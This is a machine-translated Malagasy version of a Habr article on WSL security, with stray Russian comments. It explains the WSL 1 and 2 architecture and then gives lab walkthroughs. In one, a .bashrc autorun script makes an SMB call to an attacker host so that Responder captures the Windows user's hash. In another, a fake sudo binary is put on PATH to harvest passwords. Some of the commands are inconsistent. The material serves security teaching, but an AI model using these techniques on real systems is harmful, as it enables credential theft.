Andrana WSL. Fizarana 1

Salama, habr! Ny OTUS dia manangana lalantsara vaovao amin'ny volana oktobra "Linux Security". Eo am-piandrasana ny fanombohan'ny fampianarana dia mizara aminareo lahatsoratra nosoratan'ny mpampianatra anay Alexander Kolesnikov izahay.

Andrana WSL. Fizarana 1

Tamin'ny 2016, Microsoft dia nampiditra ny teknolojia WSL vaovao ho an'ny vondrom-piarahamonina IT (Wao anatiny Subsystem ho an'ny Linux), izay tamin'ny ho avy dia nahafahana nampiray ireo mpifaninana tsy azo ihavanana teo aloha izay niady ho an'ny laza eo amin'ireo mpampiasa OS tsotra sy efa mandroso: Windows sy Linux. Ity teknΓ΄lΓ΄jia ity dia nahafahana nampiasa fitaovana Linux OS amin'ny tontolo Windows tsy mila mihazakazaka Linux, ohatra, mampiasa Multi-boot. Ao amin'ny Habr ianao dia afaka mahita lahatsoratra marobe milazalaza ny tombony amin'ny fampiasana WSL. Na izany aza, indrisy, tamin'ny fotoana namoronana ity lahatsoratra ity, dia tsy nisy fanadihadiana momba ny fiarovana ny symbiose toy izany amin'ny rafitra miasa hita ao amin'ity loharano ity. Ity lahatsoratra ity dia ho fiezahana hanitsy izany. Ny lahatsoratra dia hiresaka momba ny endriky ny maritrano WSL 1 sy 2 ary handinika ohatra maromaro momba ny fanafihana amin'ny rafitra mampiasa ireo teknolojia ireo. Mizara 2 ny lahatsoratra. Ny voalohany dia hanome ny fomba fanafihana teorika fototra avy amin'ny Linux sy Windows. Ny lahatsoratra faharoa dia ahitana ny fametrahana tontolo fitsapana sy ny famerenana indray ny fanafihana.

WSL 1: endri-javatra maritrano

Ho an'ny fitsirihana marina indrindra amin'ny olana momba ny fiarovana WSL dia ilaina ny mamaritra ny nuance lehibe mifandraika amin'ny fampiharana ny subsystem. Ny iray amin'ireo asa lehibe ataon'ny mpampiasa voavahan'ny WSL dia ny fahafahana miasa amin'ny alΓ lan'ny terminal Linux amin'ny mpampiantrano iray mampiasa Windows OS. Ary koa, ny fifanarahana natolotra dia tena teratany ka ny Linux executables (ELFs) dia azo alefa mivantana amin'ny rafitra Windows. Mba hahatratrarana ireo tanjona ireo dia nisy subsystem manokana noforonina Windows 10 izay ahafahanao mampandeha ny rindranasa Linux amin'ny alΓ lan'ny antso an-tariby manokana - noho izany dia natao ny sarintany andiana syscalls Linux amin'ny Windows. Nampiharina ara-batana izany tamin'ny fampidirana mpamily vaovao sy endrika fizotry ny dingana vaovao. Raha jerena ny maritrano dia nijery toy izao:

Andrana WSL. Fizarana 1

Raha ny marina, ny fifandraisana amin'ny rafitra fandidiana Linux dia nokarakaraina tamin'ny alΓ lan'ny maody kernel maromaro ary karazana dingana manokana - pico. Avy amin'ny kisary etsy ambony, hitanao fa ny dingana mandeha amin'ny ohatra Linux amin'ny mpampiantrano dia tsy maintsy teratany ary tsy maintsy mampiasa loharano mitovy amin'ny rindranasa Windows mahazatra. Ahoana anefa no hanatratrarana izany? Amin'ny tetikasa Drawbridge Ny foto-kevitra momba ny dingana ho an'ny Windows dia novolavolaina izay nanome ny singa rehetra ilaina amin'ny rafitra fandidiana (miankina amin'ny dikan-teny) mba hampandehanana fampiharana OS hafa.

Mariho fa ny abstraction natolotra dia nahatonga ny tsy hifantoka amin'ny rafitra fiasana (indrindra indrindra, Windows), izay andrasana hanomboka ny fizotran'ny OS hafa, ary nanolotra fomba fiasa ankapobeny.

Noho izany, ny fampiharana rehetra ao anatin'ny fizotran'ny pico dia afaka mandeha tsy misy fijerena ny kernel Windows:

  1. Ny olana amin'ny fifanarahana sy ny fandikana ny antson'ny rafitra dia tsy maintsy voavahan'ny mpamatsy manokana;
  2. Ny fanaraha-maso ny fidirana dia tsy maintsy atao amin'ny alΓ lan'ny Security Monitor. Ny monitor dia hita ao amin'ny kernel ary noho izany dia mila fanavaozana ny Windows amin'ny endrika mpamily vaovao izay afaka miasa ho toy ny mpamatsy ny dingana toy izany. Ny prototype pico process dia aseho amin'ny schematically eto ambany:

Andrana WSL. Fizarana 1

Koa satria ny rafitra rakitra Linux dia mampiasa ny anaran'ny rakitra sy ny lahatahiry, karazana rafi-drakitra 2 no nampiana tao amin'ny Windows mba hiasa amin'ny WSL - VolFS sy DriveFS. VolFS dia fampiharana ny rafitra fisie Linux, DriveFS dia rafitra fisie miasa araka ny fitsipiky ny Windows, saingy manana fahafahana misafidy ny fahatsapana tranga.

WSL 2

Ny WSL 1 dia nanana fetra maromaro izay tsy namela azy hampiasaina hamahana ny ankamaroan'ny asa: ohatra, tsy nanana fahafahana mampandeha rindranasa Linux 32-bit, ary tsy azo atao ny mampiasa mpamily fitaovana. Noho izany, tamin'ny 2020, navoaka ny WSL 2, izay nanova ny fomba fananganana ny subsystem. WSL 2 dia milina virtoaly namboarina mifanaraka amin'ny toetran'ny fanjifana loharanon'ny WSL 1. Ankehitriny, miankina amin'ny olana voavahan'ny mpampiasa Windows OS, azonao atao ny misafidy ny dikan-teny ilaina amin'ny subsystem Linux. Mba hanalefahana ny fahalemena mety hitranga, WSL 2 dia nampiharina mifototra amin'ny Hyper-V ao amin'ny Windows 10. Amin'ity endrika ity, Windows dia manana ny fahafahana mampandeha ny kernel rafitra fandidiana Linux mitokana. Tsara ny mitadidy fa ny version 1 an'ny WSL dia nampidirina ho endri-javatra beta izay tokony hampiseho ny lalan'ny fivoaran'ny Windows amin'ity faritra ity, noho izany dia tsy azo ihodivirana ny fifindrana mankany Hyper-V. Ny architecture farany dia toy izao:

Andrana WSL. Fizarana 1

Amin'ity dikan-teny ity, ny kernel Windows sy Linux dia manana ny loharanony manokana ary ao amin'ny rafitry ny rakitra ihany no misy ny fifampiraharahana, saingy tsy feno io fifampiraharahana io. Ny fifandraisana eo amin'ny rafitra rakitra dia atao amin'ny alΓ lan'ny fonosana mpanjifa-server izay miasa amin'ny protocol 9P.

Amin'izao fotoana izao, Microsoft dia manome fahafahana hifindra eo anelanelan'ny WSL 1 sy WSL 2. Samy azo ampiasaina ireo dikan-teny roa ireo.

WSL Security

Amin'izao fotoana izao, misy asa maromaro mamaritra ny fomba sasany amin'ny fampiasana fitaovana OS ara-dalΓ na hanafika ny fifandraisana eo amin'ny subsystems. Hampiasa ny soratr'izy ireo izahay hijerena ny maha-zava-dehibe ny fanafihana amin'ny fotoana anoratana. Lisitra ankapoben'ny fanafihana sy trangan-javatra:

1. Fampiharana ny rafitra fisie: zo hidirana, fisian'ny lahatahiry iombonana/mekanisma fifanakalozana data.

Ny fikarohana dia natao mba hamaritana ny fandikana ny fitsipika fidirana avy amin'ny Linux FS->Windows FS, Windows FS->Linux FS. Ny fikarohana dia naneho ny fahafahana manova rakitra iray ao anatin'ny OS kendrena. Nezahina ihany koa ny hanolo, hamorona dika mitovy ary hamafa ny ampahany amin'ny rafi-drakitra.

Scenario:

  • A. Fanafihana avy amin'ny rafitra fiasa Windows - fanovana ny rakitra avy amin'ny lahatahiry /etc an'ny Linux OS.
  • B. Fanafihana avy amin'ny rafitra fandidiana Linux - fanovana ny rakitra ao amin'ny lahatahiry: C:Windows, C:Program Files, C:Users<User>

2. Fampiharana ny tambazotran'ny tambajotra.

Ny fikarohana dia natao tamin'ny fampiasana ohatra momba ny fanafihana avy amin'ny rafitra fandidiana Linux amin'ny Windows. Ny endri-javatra amin'ny tambazotran-tambajotra dia nampiasaina, izany hoe, rafitra fanamarinana amin'ny loharano samihafa.

Scenario:

  • Manokatra ny fidirana amin'ny seranan-tsambo izay mipetraka amin'ny rafitra Windows
  • Manokatra seranan-tsambo tsy misy zo mifanaraka amin'izany
  • Mandeha akora mivadika mampiasa rakitra elf amin'ny rafitra fiasan'ny Windows.

3. Manafina ny fanombohana ny fizotran'ny rindrambaiko maloto amin'ny fampiasana ny subsystem WSL.

Ny fikarohana dia mifototra amin'ny zava-misy tsotra - ny subsystems fiarovana dia tsy afaka manakana ny hetsika amin'ny kernel hafa izay miasa amin'ny fampiasana mpamatsy ara-dalΓ na avy amin'ny rafitra miasa amin'ny tranga WSL 1. Raha ny WSL 2, dia tsy misy fomba hijerena ny hetsika mitranga. ao anaty kernel misaraka ao anaty milina virtoaly maivana.

Scenario:

1) Alefaso ny fampiharana amin'ny fidirana lavitra amin'ny rafitra ary jereo ny hetsika voarakitra.

Fanandramana WSL 1: fisakanana tenifototra (Windows)

Farany dia tonga teo amin'ny ampahany azo ampiharina izahay. Voalohany, mila manangana tontolo iainana fitsapana ianao. Ny andrana rehetra dia hatao amin'ny dabilio misy Windows 10 2004 napetraka. Ny sary Ubuntu 18.04 dia nofidina ho sarin'ny rafitra miasa ho an'ny WSL. Ny sary dia nofidina kisendrasendra, ary ny hafa dia hiasa mitovy. Didy amin'ny fametrahana fijoroana:

Tsy maintsy manomboka aloha ianao powershell.exe amin'ny maha-mpitantana.

Ho an'ny WSL 1 dia mila manatanteraka ny baiko ianao:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Π’ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Π—Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π· Linux ΠΈΠ· ΠΌΠ°Π³Π°Π·ΠΈΠ½Π° Microsoft

  • Ubuntu.appx install β€”root #Установим ΠΎΠ±Ρ€Π°Π·
  • Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, придСтся ΠΏΡ€ΠΎΠΊΠ»ΠΈΠΊΠ°Ρ‚ΡŒ процСсс настройки ΠΈ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ мСньшС ΠΏΡ€Π°Π², Ρ‡Π΅ΠΌ root. Для Π½Π°ΡˆΠΈΡ… тСстов это Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ sam.
  • Restart-Computer #ΠŸΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΠΌ
  • Aorian'ny famerenana indray ny fijoroana dia azonao atao ny miantso ny baiko bash. Raha mandeha tsara ny zava-drehetra, dia hahita vokatra mitovy amin'ity ianao ao amin'ny console Windows:

    Andrana WSL. Fizarana 1

    Hampiasa ny fizarana Kali Linux ho milina mpanafika izahay; ny milina rehetra dia tsy maintsy ao amin'ny tambajotra eo an-toerana iray ihany.

    Andao atao hoe manana fidirana tsy misy tombontsoa amin'ny WSL amin'ny milina Windows. Andeha isika hanafika ny rafitra fandidiana Linux amin'ny fiantsoana baiko avy amin'ny Linux. Mba hampiharana ny fanafihana dia hampiasa teknika autorun tsotra isika - hampidirinay ny script ho an'ny famonoana ao amin'ny tontolo Linux. Mba hanaovana izany dia mila manova ny rakitra ianao .bashrc.

    Amin'ny milina miaraka amin'ny WSL dia manatanteraka:

    	1. bash
    	2. ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΠΌ Π² домашнюю Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ: cd /home/sam/
    	2. echo  Β«/home/sam/.attack.shΒ» >> .bashrc
    	3. echo Β«icalcs.exe Β» \\\\attacker_ip\\shareName\\Β» > /dev/null 2>&1Β» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Amin'ny milina Kali Linux dia mihazakazaka izahay:

    1. Responder -I eth0 -rdvw

    Amin'ny milina Windows, andao hanomboka bash.

    Miandry ny valiny amin'ny milina Kali Linux izahay:

    Andrana WSL. Fizarana 1

    Noho izany, nahazo ny hash mpampiasa Windows tamin'ny alΓ lan'ny subsystem WSL izahay tamin'ny fanatanterahana ny baiko amin'ny rafitra Linux.

    Andrana WSL 1: fahazoana tenimiafina mpampiasa (Linux OS)

    Andeha isika hanao andrana iray hafa. Amin'ity fanamarinana ity dia hanampy amin'ny rakitra izahay .bashrc baiko maromaro mba hahazoana ny tenimiafina mpampiasa ny rafitra fandidiana Linux.

    Andao hanomboka bash ary ampidiro ny baiko:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txtΒ» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Mba hamitana am-pahombiazana ny fanafihana dia mila miantso sudo ao amin'ny terminal Linux ny mpampiasa Sam. Aorian'izany dia ho ao anaty rakitra ny tenimiafina mpampiasa Linux OS pass.txt:

    Andrana WSL. Fizarana 1

    Ny fampiharana ny fanafihana dia nomena ho fampahalalana ara-teorika fotsiny.

    Ny ampahany manaraka amin'ny lahatsoratra dia hamaritra ny fampiharana ny protocol 9P, diniho ny famoronana scanner ho an'ity protocol ity, ary koa ny fanafihana amin'ny fampiasana azy.

    Lisitry ny literatiora efa niasa

    Andrana WSL. Fizarana 1

    Hamaky bebe kokoa

    Source: www.habr.com

    Add a comment